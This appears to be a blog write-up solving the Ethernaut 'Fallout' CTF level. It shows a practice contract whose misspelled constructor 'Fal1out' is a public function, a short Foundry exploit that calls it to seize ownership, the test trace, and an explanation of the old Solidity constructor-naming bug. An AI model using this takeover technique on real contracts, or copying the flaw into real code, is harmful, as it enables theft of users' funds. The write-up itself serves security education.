To complete this level we need to become owner of the contract
below (slightly modified to be compatible with Solidity ^0.8.2
):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "openzeppelin/utils/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = payable(msg.sender);
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
I’ll skip the FalloutFactory
contract because it is almost
identical to the FallbackFactory
from the previous challenge,
except that in its validateInstance
function it only checks
that owner() == player
.
Analysis & Exploit Link to heading
Let’s start with the constructor… that doesn’t look like a constructor:
/* constructor */
function Fal1out() public payable {
owner = payable(msg.sender);
allocations[owner] = msg.value;
}
This is a regular public function that anyone can call:
function exploit() internal override {
vm.startPrank(player);
level.Fal1out();
vm.stopPrank();
}
The rest of the contract is not interesting to us.
$ forge test --match-contract FalloutTest -vvvv
Running 1 test for src/test/Fallout.t.sol:FalloutTest
[PASS] testFallout() (gas: 328094)
Traces:
[328094] FalloutTest::testFallout()
├─ [251327] FalloutTest::create()
│ ├─ [0] VM::prank(player: [...])
│ │ └─ ← ()
│ ├─ [238979] Ethernaut::createLevelInstance(FalloutFactory: [...])
│ │ ├─ [187416] FalloutFactory::createInstance(player: [...])
│ │ │ ├─ [154802] → new Fallout@"0x037f…dd8f"
│ │ │ │ └─ ← 773 bytes of code
│ │ │ └─ ← Fallout: [...]
│ │ ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: Fallout: [...])
│ │ └─ ← Fallout: [...]
│ └─ ← Fallout: [...]
├─ [0] VM::startPrank(player: [...])
│ └─ ← ()
├─ [24507] Fallout::Fal1out()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(player: [...])
│ └─ ← ()
├─ [4391] Ethernaut::submitLevelInstance(Fallout: [...])
│ ├─ [1344] FalloutFactory::validateInstance(Fallout: [...], player: [...])
│ │ ├─ [348] Fallout::owner() [staticcall]
│ │ │ └─ ← player: [...]
│ │ └─ ← true
│ ├─ emit LevelCompletedLog(player: player: [...], level: FalloutFactory: [...])
│ └─ ← true
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Summary Link to heading
This pretty trivial challenge illustrates how a simple typo could result in serious security hole:
Up to Solidity 0.4.21
, constructor can be defined by the same
name of its contract name. Which can cause unintended bugs when
you change the contract’s name but forget to rename its
constructor (this happened with
Rubixi).
In Solidity 0.4.22
and above we use the constructor
keyword.
Code for this step is in branch step-3.
Let’s continue to the next challenge: Ethernaut, #4 Coin Flip!